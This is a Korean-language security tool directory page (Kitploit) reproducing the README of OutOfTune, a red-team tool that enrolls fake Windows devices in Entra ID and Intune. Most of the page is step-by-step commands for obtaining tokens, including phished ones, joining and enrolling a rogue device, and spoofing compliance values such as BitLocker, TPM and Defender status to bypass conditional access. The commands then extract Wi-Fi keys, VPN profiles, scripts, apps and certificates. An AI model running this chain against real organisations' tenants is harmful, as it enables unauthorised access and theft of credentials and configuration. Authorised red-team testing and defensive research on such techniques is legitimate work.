Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
OutOfTune — Entra ID 및 Intune MDM을 위한 악성 기기 등록 도구. 조건부 액세스를 우회하면서 정책, Wi-Fi 자격 증명, 스크립트, 앱을 추출하기 위해 디바이스 조인, 토큰 획득, MDM 등록, OMA-DM 체크인을 자동화합니다. | Kitploit
도구/GitHubGitHub/stra-x/outoftune
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisLateral MovementConfiguration AuditingInformation GatheringPost-ExploitationPenetration TestingCloud SecurityMobile SecurityIdentity & Access Management (IAM)Red Teaming
3134개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubstra-x/outoftune

OutOfTune

Entra ID 및 Intune MDM을 위한 악성 기기 등록 도구. 조건부 액세스를 우회하면서 정책, Wi-Fi 자격 증명, 스크립트, 앱을 추출하기 위해 디바이스 조인, 토큰 획득, MDM 등록, OMA-DM 체크인을 자동화합니다.

저장소 보기

OutOfTune

원본 Pytune에서 영감을 받은 OutOfTune은 Entra ID에 가짜 장치를 등록하고, Intune MDM에 가입시킨 후 결과 규정 준수 상태를 확인합니다.

Windows 장치만 지원합니다(이것이 주요 목표였으며, 향후 추가 장치를 추가할 수 있음).

블로그 시리즈:

  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/
  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access-pt-2/

요구 사항

root@kitploit:~
pip install -r requirements.txt

작동 방식

체인은 단계별로 실행되며, 각 단계는 chain_state.json에 저장된 상태를 기반으로 합니다.

root@kitploit:~
drs-token  ->  device-join  ->  device-token  ->  mdm-enroll  ->  mdm-checkin
  1. drs-token - DRS 액세스 토큰 획득 (ROPC 또는 사전 피싱)
  2. device-join - Entra ID에 새 장치 개체 등록, 장치 인증서 획득
  3. device-token - 장치 주체로 인증, Intune 등록 토큰 획득
  4. mdm-enroll - SOAP 검색 + WS-Trust 등록, MDM 클라이언트 인증서 획득
  5. mdm-checkin - OMA-DM SyncML 체크인, 정책 수집, 선택적으로 기본 사용자 설정

사용법

1. DRS 토큰 획득

ROPC (자격 증명 알려짐):

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -p Password1!

사전 획득 토큰:

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>

2. Entra ID에 장치 가입

root@kitploit:~
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01

출력: <DEVICENAME>.pfx - 장치 인증서. 비밀번호는 password입니다.


3. 장치 주체 토큰 획득

root@kitploit:~
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx

AAD에 장치 개체로 인증합니다 (사용자가 아님). 사용자 범위 CA 정책을 우회합니다.


4. Intune MDM에 등록

root@kitploit:~
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json

MDM 엔드포인트에 대해 SOAP 검색을 실행한 후 WS-Trust PKCS10 등록 요청을 제출합니다. 출력: <DEVICENAME>_mdm.pfx.

--profile을 사용하여 Intune으로 전송되는 장치 하드웨어/OS 속성을 스푸핑합니다. (장치 프로필 참조)


5. OMA-DM 체크인

root@kitploit:~
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw

r.manage.microsoft.com에 대해 OMA-DM SyncML 루프를 실행합니다. Intune은 장치를 대상으로 하는 구성 프로필, 앱 할당 및 기타 모든 정책을 푸시합니다. 루프가 완료된 후 지능 정보가 자동으로 추출되어 표시됩니다.

-r이 제공되면 새로 고침 토큰이 manage.microsoft.com 액세스 토큰으로 교환되어 각 SyncML 요청에 Authorization: Bearer로 전송됩니다. Intune은 이 토큰에서 UPN을 읽어 장치의 기본 사용자로 설정하여 사용자 범위 규정 준수 정책이 바인딩되도록 합니다. 사용자가 할당되기 위해 새로 고침 토큰을 한 번만 실행하면 되며, 이후 모든 체크인은 새로 고침 토큰 없이 실행할 수 있습니다.

-r 없이 실행하면 장치에 기본 사용자가 할당되지 않습니다.

초기 체크인 후, 오랜 시간(보통 5-7일) 동안 다시 체크인하지 않으면 "Is Active"에 대한 기본 정책으로 인해 장치가 규정 준수에서 벗어날 수 있습니다. Intune 구성에 따라 장치는 규정 준수 위반으로 표시되기 전에 유예 기간에 들어갈 수 있습니다. 이러한 경우 mdm-checkin을 다시 실행하십시오. 이전에 새로 고침 토큰을 사용하여 기본 사용자를 할당한 경우, 기본 사용자가 이제 Intune 백엔드에 저장되어 있으므로 다시 제출할 필요가 없습니다.

플래그

추출된 유용한 정보


저장된 SyncML 라운드 파싱

라이브 체크인을 실행하지 않고 --save-syncml로 저장된 원시 XML 라운드를 다시 파싱합니다.

root@kitploit:~
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2

규정 준수 상태 확인

root@kitploit:~
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!

장치 인증서에서 PRT를 생성하고, 이를 IWService 토큰으로 교환한 후 IWService/Devices에서 장치의 규정 준수 상태 및 비준수 규칙을 쿼리합니다.

테넌트 CA가 등록 리소스에 대해 MFA를 요구하는 경우 MFA 세션 새로 고침 토큰과 함께 -r을 사용하십시오.


앱 및 스크립트 다운로드

IME SideCarGateway를 통해 장치에 할당된 Win32 앱 및 PowerShell 스크립트를 가져옵니다. MDM 클라이언트 인증서만 필요하며 사용자 토큰은 필요하지 않습니다.

root@kitploit:~
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
  • PowerShell 스크립트는 scripts/<PolicyId>.ps1에 저장됩니다.
  • Win32 앱은 CDN에서 다운로드되어 복호화된 후 apps/<AppName>/에 추출됩니다.

수정 스크립트 다운로드

장치에 할당된 사전 예방 수정 스크립트 (감지 + 수정 쌍)를 가져옵니다.

root@kitploit:~
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx

각 정책은 remediations/<PolicyId>/에 저장되며 다음을 포함합니다:

  • detection.ps1 — 감지 스크립트
  • remediation.ps1 — 수정 스크립트
  • params.json — 정책 ID 및 스크립트 매개변수

정리

Intune에서 장치 제거가 실패하면 Entra에서 삭제하십시오. 그러면 Intune 내에서 유예 기간에 들어가고 나중에 자동으로 다시 정리됩니다.

Intune에서 장치 제거:

root@kitploit:~
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>

Entra ID에서 장치 개체 제거:

root@kitploit:~
python OutOfTune.py entra-delete

체인 진행 상태 확인

root@kitploit:~
python OutOfTune.py status

장치 프로필

등록 및 체크인 중 Intune으로 전송되는 장치 속성은 JSON 프로필을 통해 완전히 스푸핑 가능합니다. 여기에는 하드웨어 식별자, OS 버전, 제조업체 및 모든 자체 보고된 규정 준수 CSP 값(BitLocker, 방화벽, Defender, TPM, Secure Boot)이 포함됩니다.

root@kitploit:~
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin   # 프로필은 상태에 저장되어 자동으로 재사용됨

포함된 프로필

파일장치
profiles/default.json기본값 (VMware / Win10 Enterprise)
profiles/dell_win11_ent.jsonDell Latitude 5540 / Windows 11 Enterprise 23H2

프로필 필드

모든 DeviceStatus CSP 값은 자체 보고되며 독립적인 검증 없이 Intune에 의해 신뢰됩니다. HAS 증명 규정 준수 검사(BitLockerEnabled, HealthAttestation CSP를 통한 SecureBootEnabled)는 실제 TPM이 필요하며 이 방법으로 스푸핑할 수 없습니다.


전역 플래그

root@kitploit:~
--debug          상세 HTTP + 토큰 로깅
--proxy <url>    프록시를 통해 트래픽 라우팅 (예: http://127.0.0.1:8080)

이 플래그들은 명령 앞에 옵니다:

root@kitploit:~
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin

인증서 재정의

이전 실행에서 인증서가 있거나 특정 PFX 파일을 사용하려는 경우:

root@kitploit:~
python OutOfTune.py device-token      --cert path/to/device.pfx
python OutOfTune.py mdm-enroll        --cert path/to/device.pfx
python OutOfTune.py mdm-checkin       --cert path/to/mdm.pfx
python OutOfTune.py check             --cert path/to/device.pfx
python OutOfTune.py download-apps     --cert path/to/mdm.pfx
python OutOfTune.py get-remediations  --cert path/to/mdm.pfx

상태 파일

모든 단계 출력은 작업 디렉터리의 chain_state.json에 저장됩니다. 처음부터 다시 시작하려면 삭제하십시오. status를 사용하여 아무것도 실행하지 않고 현재 상태를 검사할 수 있습니다. 여러 장치를 다루는 경우 각 장치가 고유한 상태 파일을 가지도록 하십시오. 기본 상태 파일은 스크립트 시작 부분에서 조작 중인 장치로 변경할 수 있습니다. 인증서 재정의 옵션은 주로 디버깅 목적이므로 주의해서 사용하십시오.

크레딧

원본 Pytune을 만들고 이 모든 것을 가능하게 한 원래 연구를 수행한 @temp43487580에게 큰 감사를 드립니다.

  • https://i.blackhat.com/EU-24/Presentations/EU-24-Chudo-Unveiling-the-Power-of-Intune-Leveraging-Intune-for-Breaking-Into-Your-Cloud-and-On-Premise.pdf
  • https://temp43487580.github.io/intune/bypass-enrollment-restictions-to-break-byod-barriers-in-intune/
  • https://github.com/secureworks/pytune
도구 다운로드
플래그설명
--cert FILE사용할 MDM PFX — 파일 이름에서 장치 이름이 자동으로 파생됨
-r RT사용자 새로 고침 토큰 — 기본 사용자 설정 (한 번만 필요)
-O DIR추출된 아티팩트를 DIR에 저장 (wifi/, vpn/, scripts/, certs/, add_values.json, policy_values.json)
--save-syncml DIR각 라운드의 원시 SyncML XML을 DIR에 저장하여 오프라인 재파싱
-o FILE전체 콘솔 출력을 FILE에 기록
카테고리저장 위치설명
Wi-Fi 프로필wifi/<SSID>.xml + _psk.txt존재하는 경우 일반 텍스트 PSK 추출
VPN 프로필vpn/<name>.xml전체 ProfileXML
인증서 페이로드certs/cert_N.b64암호화된 PFX Blob (원시, 아직 복호화되지 않음)
SCEP 챌린지표시됨CA 모델 이름, 챌린지 URL
스크립트scripts/<name>.ps1OMA-DM을 통해 푸시된 PowerShell 스크립트
MSI 다운로드 URL표시됨LOB 앱용 직접 CDN 링크
ODJ Blobodj_blob.b64 + odj_strings.txt오프라인 도메인 가입 — 읽을 수 있는 문자열 추출
추가 값add_values.json기타 모든 Add 명령 (루트 CA 인증서, MDE 온보딩, 정책 구성)
교체 값policy_values.jsonIntune에서 설정한 정책 CSP 값
필드CSP설명
os_versionDevDetail/SwV최소/최대 OS 버전 규정 준수 확인
os_edition_syncmlWindowsLicensing/Edition4 = Enterprise, 48 = Pro
manufacturerDevInfo/Man일부 정책은 제조업체를 허용 목록에 추가
mac_addressSOAP AdditionalContext/MAC모두 0이면 명백한 지표
hw_dev_id_enrollSOAP AdditionalContext/HWDevID64자 16진수
bitlocker_statusBitLocker/Status/DeviceEncryptionStatus2 = 암호화됨 (자체 보고)
encryption_complianceDeviceStatus/Compliance/EncryptionCompliance1 = 규정 준수 (자체 보고)
firewall_statusDeviceStatus/Firewall/Status0 = 켜짐 (자체 보고)
secure_boot_stateDeviceStatus/SecureBootState1 = 활성화됨 (자체 보고, HAS 증명 아님)
tpm_versionDeviceStatus/TPM/SpecificationVersion암호학적 증명 없음
defender_enabledDefender/Health/DefenderEnabledtrue = 실행 중
defender_versionDefender/Health/DefenderVersion일부 정책은 최소 버전을 강제